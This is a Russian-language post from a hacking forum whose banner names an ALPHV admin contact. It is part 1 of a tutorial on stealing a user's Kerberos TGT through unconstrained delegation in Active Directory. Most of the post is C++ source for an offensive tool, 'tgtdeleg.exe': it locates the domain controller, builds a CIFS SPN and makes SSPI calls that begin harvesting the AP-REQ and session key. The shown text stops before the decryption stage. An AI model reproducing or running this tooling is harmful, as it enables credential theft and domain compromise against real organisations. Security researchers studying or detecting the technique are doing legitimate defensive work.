• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Важная делегация. Эксплуатируем TGT Delegation в Active Directory. Часть 1

admin

#root
Администратор
Регистрация
20.01.2011
Сообщения
7,665
Розыгрыши
0
Реакции
135
В этой статье мы рассмотрим не очень популярную, но крайне интересную атаку, реализовав которую атакующий сможет получить TGT-билет пользователя, даже не зная его пароля либо хеша. Хакеру достаточно лишь выполнить код от лица этого пользователя, а все остальное сделает за нас KDC.

Active Directory предоставляет мощный набор функций для делегирования прав на олицетворение пользователей конкретной службе. Существует три вида делегирования: неограниченное, ограниченное и ограниченное на основе ресурсов. Про каждый уже рассказывалось много раз, но какие еще возможности таит в себе механизм делегирования?

ОСОБЕННОСТИ НЕОГРАНИЧЕННОГО ДЕЛЕГИРОВАНИЯ​

При неограниченном делегировании администратор приходит к службе и говорит: «Теперь ты можешь олицетворять клиентов на других службах». Причем на абсолютно любых службах (отсюда и название — неограниченное). Как это работает?

Во‑первых, клиент обращается к службе с неограниченным делегированием. KDC видит, что эта служба имеет специальный флаг TRUSTED_FOR_DELEGATION (он сигнализирует о том, что у службы настроено неограниченное делегирование), поэтому возвращает клиенту TGS на эту службу, но со специальным флагом OK-AS-DELEGATE. Следующим шагом клиент проверяет этот самый флаг. Если он видит, что флаг установлен, то понимает: служба использует неограниченное делегирование, поэтому клиент вновь идет к KDC и запрашивает специальный FORWARDED TGT, который будет отправлен службе.

Внутри этого тикета будет лежать также сессионный ключ, что позволит службе без проблем олицетворять клиента. Далее у клиента будет TGS-тикет на службу, а также этот FORWARDED TGT, поэтому пора идти к службе. Генерируется запрос AP-REQ, который содержит этот самый FORWARDED TGT.

img2.png

FORWARDED TGT в AP-REQ
Причем тикет будет находиться внутри так называемого аутентификатора. Он позволяет предотвратить возможность релей‑атаки на этап AP-REQ, так как аутентификатор зашифрован сессионным ключом, а также содержит (в случае обычного AP-REQ) имя принципала клиента и таймстемп. Если же служба настроена с неограниченным делегированием, то в запрос AP-REQ, который отправится службе, попадет не только таймстемп и имя принципала, но и FORWARDED TGT. Причем этот самый FORWARDED TGT будет лежать внутри аутентификатора. Сессионный ключ для шифрования аутентификатора клиент получает в ответе TGS-REP, который идет до AP-REQ.

Таким образом, у атакующего появляется возможность расшифровать аутентификатор из AP-REQ, а затем получить TGT-билет пользователя, который инициировал обращение к службе с неограниченным делегированием, ведь на руках у него будет зашифрованный блоб и ключ для его дешифровки.



ОСОБЕННОСТИ ЭКСПЛУАТАЦИИ​

Чтобы успешно получить TGT, нужно, чтобы выполнялись следующие требования:



  • служба, к которой обращается клиент, настроена на неограниченное делегирование. Но здесь ничего страшного нет — все контроллеры домена настроены с неограниченным делегированием;
  • у нас есть возможность выполнить код от лица клиента.
Итоговый алгоритм достаточно простой:

  1. Обращаемся к службе с неограниченным делегированием.
  2. Получаем сгенерированный AP-REQ.
  3. Извлекаем сессионный ключ для расшифровки аутентификатора.
  4. Расшифровываем аутентификатор.
  5. Извлекаем TGT.


ОБНАРУЖЕНИЕ НУЖНОЙ СЛУЖБЫ​

Итак, сначала создаем файл Header.h, в котором указываем все нужные заголовочные файлы, подгружаемые либы, а также прототип одной‑единственной функции.



#pragma once

#define SECURITY_WIN32

#include <windows.h>

#include <sspi.h>

#include <DsGetDC.h>

#include <NTSecAPI.h>

#include <iostream>

#include <locale.h>

#include <wincrypt.h>

#include <WinBase.h>

#define DEBUG

#pragma comment (lib, "Secur32.lib")

#pragma comment (lib, "NetApi32.lib")

#pragma comment(lib,"Crypt32.lib")

DWORD TgtDeleg(LPCWSTR);

Теперь стоит предусмотреть два варианта работы инструмента: в первом случае служба с неограниченным делегированием будет обнаружена автоматически (достаточно только имени домена), а во втором атакующий собственноручно сможет указать нужный SPN.

img1.png

Получение сессионного ключа и AP-REQ через указание домена
img3.png

Ручное указание SPN
Главная функция инструмента не очень большая. Сначала получаем список аргументов, причем проверяем: если их не три, то атакующий указал что‑то не то, поэтому вызываем функцию, которая расскажет, как использовать инструмент.

int wmain(char argc, wchar_t* argv[]) {

setlocale(LC_ALL, "");

ShowAwesomeBanner();

if (argc != 3) {

ShowUsage();

}

....

}

void ShowUsage() {

std::wcout << L"tgtdeleg.exe 1 <DOMAIN NAME>\n\tEx: tgtdeleg.exe 1 cringe.lab" << std::endl;

std::wcout << L"tgtdeleg.exe 2 <SPN With Unconstrained Deleg>\n\tEx: tgtdeleg.exe 2 CIFS/dc01.cringe.lab" << std::endl;

exit(-1);

}

img4.png

Информация об использовании инструмента
Если же пользователь нигде не напортачил, то переходим к парсингу аргументов. В первом случае, когда указывается только имя домена, вызывается функция GetDomainController().

LPCWSTR targetname = NULL;

switch (*argv[1]) {

case '1':

targetname = GetDomainController(argv[2]);

break;

...

Эта функция позволяет получить DNS-имя контроллера домена. Мы берем контроллер домена потому, что на нем по умолчанию включено неограниченное делегирование. Получить имя можно с помощью функции DsGetDcName().

LPCWSTR GetDomainController(wchar_t* domainName) {

PDOMAIN_CONTROLLER_INFO dcInfo = NULL;

DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL, DS_RETURN_DNS_NAME | DS_IP_REQUIRED, &dcInfo);

if (err != ERROR_SUCCESS) {

std::wcout << L"[-] Cant Get DC Name, try use 2 mode: " << err << std::endl;

exit(-1);

}

return dcInfo->DomainControllerName;

}

После получения имени убираем из него первые два символа слеша (так как функция вернула \\dc01, а нам нужно просто dc01), а затем добавляем к полученному имени службу CIFS. В итоге у нас появляется валидный SPN на службу CIFS контроллера домена.

targetname = removeLeadingCharacters(targetname);

#ifdef DEBUG

std::wcout << L"[+] Target: " << targetname << std::endl;

#endif

LPCWSTR SPN = addCIFS(targetname);

Функция removeLeadingCharacters просто чуть‑чуть смещает указатель на полученную строку, чтобы первые два символа \\ как бы пропали.

LPCWSTR removeLeadingCharacters(LPCWSTR originalString) {

LPCWSTR stringPtr = originalString;

if (stringPtr[0] == L'\' && stringPtr[1] == L'\') {

stringPtr += 2;

}

return stringPtr;

}

А функция addCIFS() добавляет строку CIFS/ к имени компьютера.

LPCWSTR addCIFS(LPCWSTR originalString) {

size_t originalSize = wcslen(originalString);

size_t cifsSize = 5;

size_t newSize = originalSize + cifsSize + 1;

LPWSTR newString = new WCHAR[newSize];

wcscpy_s(newString, newSize, L"CIFS/");

wcscat_s(newString, newSize, originalString);

return newString;

}

Есть и второй вариант — пользователь должен самостоятельно указать SPN. Здесь никакого парсинга тогда не потребуется. Сразу передаем полученный SPN в функцию TgtDeleg(), в которой реализована логика получения сессионного ключа и блоба AP-REQ.

case '2':

if (TgtDeleg(argv[2]) == 0) {

std::wcout << L"[+] TgtDeleg Success" << std::endl;

return 0;

}

else {

std::wcout << L"[-] TgtDeleg Error" << std::endl;

return -1;

}

break;

default:

std::wcout << L"[-] No such mode" << std::endl;

ShowUsage();

return 0;

}



ПОДКЛЮЧЕНИЕ К СЛУЖБЕ​

Переходим в сердце программы — в функцию TgtDeleg(). Она принимает один‑единственный аргумент — это SPN целевой службы. Затем начинается, как кто‑то очень интересно выразился, «магия SSPI». В действительности никакой магии нет. SSPI можно считать эдакой апишкой, через которую разработчики могут связываться с поставщиками безопасности (Security Packages). Возможности SSPI очень большие: шифрование, подпись, выстраивание контекста. Именно функции SSPI позволят нам сымитировать обращение к службе с неограниченным делегированием.



Начнем с функции AcquireCredentialsHandle(). Она позволяет получить хендл на собственные реквизиты для SSPI, а также указать протокол, на основе которого будет выстраиваться контекст. Под реквизитами понимается пара «логин:пароль», на основе которых пользователь может пройти аутентификацию. Контекст выстраивать не придется — нам достаточно будет один раз просто обратиться к службе, а ОС уже самостоятельно пойдет к KDC, получит TGS и проверит флаг OK-AS-DELEGATE.

SECURITY_STATUS SEC_Entry AcquireCredentialsHandle(

In SEC_CHAR *pszPrincipal,

In SEC_CHAR *pszPackage,

In ULONG fCredentialUse,

In PLUID pvLogonID,

In PVOID pAuthData,

In SEC_GET_KEY_FN pGetKeyFn,

In PVOID pvGetKeyArgument,

Out PCredHandle phCredential,

Out PTimeStamp ptsExpiry

);

Отмечу самые основные параметры:

  • pszPrincipal — имя сущности, для которой мы получаем реквизиты. Никаких сущностей, ни живых, ни мертвых, у нас нет, поэтому указываем NULL, что позволяет получить реквизиты для текущего потока;
  • pszPackage — какой поставщик безопасности использовать;
  • fCredentialUse — для каких целей будут использованы реквизиты.
Указываем SECPKG_CRED_OUTBOUND, так как мы инициализируем построение контекста, а значит, должны отдавать свои данные службе. Если бы мы выступали в качестве службы, то указывали бы SECPKG_CRED_INBOUND, то есть получали данные, которые отправил клиент.

Параметр pAuthData — опциональная структура, в которую можно передать реквизиты, специфичные для используемого поставщика безопасности. Например, если бы требовалось пройти аутентификацию от лица иного пользователя, не от того, от которого запущен инструмент, то мы бы использовали структуру SEC_WINNT_AUTH_IDENTITY.

typedef struct _SEC_WINNT_AUTH_IDENTITY_A {

unsigned char *User;

unsigned long UserLength;

unsigned char *Domain;

unsigned long DomainLength;

unsigned char *Password;

unsigned long PasswordLength;

unsigned long Flags;

} SEC_WINNT_AUTH_IDENTITY_A, *PSEC_WINNT_AUTH_IDENTITY_A;

А инициализировали бы ее вот так:

SEC_WINNT_AUTH_IDENTITY_A authIdentity = {0};

authIdentity.User = L"username";

authIdentity.UserLength = lstrlen(L"username");

authIdentity.Domain = L"office.local";

authIdentity.DomainLength = lstrlen(L"office.local");

authIdentity.Password = L"pass123";

authIdentity.PasswordLength = lstrlen(L"pass123");

authIdentity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; // Если строки юникода. Если анси, то SEC_WINNT_AUTH_IDENTITY_ANSI

Элемент phCredential — указатель на структуру CredHandle для получения дескриптора учетных данных.

Вызываем эту функцию, получаем хендл на свои реквизиты.

CredHandle hCredential;

TimeStamp tsExpiry;

SECURITY_STATUS status = AcquireCredentialsHandleW(NULL, (LPWSTR)MICROSOFT_KERBEROS_NAME, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hCredential, &tsExpiry);

if (status == SEC_E_OK) {

... // Все ОK

} else {

switch (status) {

case SEC_E_INSUFFICIENT_MEMORY:

std::wcout << L"[-] Not enough memory for current creds" << std::endl;

break;

case SEC_E_INTERNAL_ERROR:

std::wcout << L"[-] SSPI ERROR: 0x" << std::hex << status << L"L" << std::endl;

break;

case SEC_E_NO_CREDENTIALS:

std::wcout << L"[-] No Credentials Available" << std::endl;

break;

case SEC_E_NOT_OWNER:

std::wcout << L"[-] U Dont Have Credentials" << std::endl;

break;

case SEC_E_SECPKG_NOT_FOUND:

std::wcout << L"[-] Kerberos AP is not initialized" << std::endl;

break;

case SEC_E_UNKNOWN_CREDENTIALS:

std::wcout << L"[-] Credentials were not recognized" << std::endl;

break;

default:

std::wcout << L"[-] Unknown Err: 0x" << std::hex << status << L"L" << std::endl;

break;

}

}

return -1;

}

Если что‑то идет не так, то обрабатываем полученную ошибку. Про дебаг SECURITY_STATUS написано в статье «Для просмотра ссылки Войди или Зарегистрируйся».

Если же все хорошо, то переходим к взаимодействию с целевой службой. Для этого используем функцию InitializeSecurityContext().

SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA(

[in, optional] PCredHandle phCredential,

[in, optional] PCtxtHandle phContext,

SEC_CHAR *pszTargetName,

[in] unsigned long fContextReq,

[in] unsigned long Reserved1,

[in] unsigned long TargetDataRep,

[in, optional] PSecBufferDesc pInput,

[in] unsigned long Reserved2,

[in, out, optional] PCtxtHandle phNewContext,

[in, out, optional] PSecBufferDesc pOutput,

[out] unsigned long *pfContextAttr,

[out, optional] PTimeStamp ptsExpiry

);
 
Activity
So far there's no one here
Сверху Снизу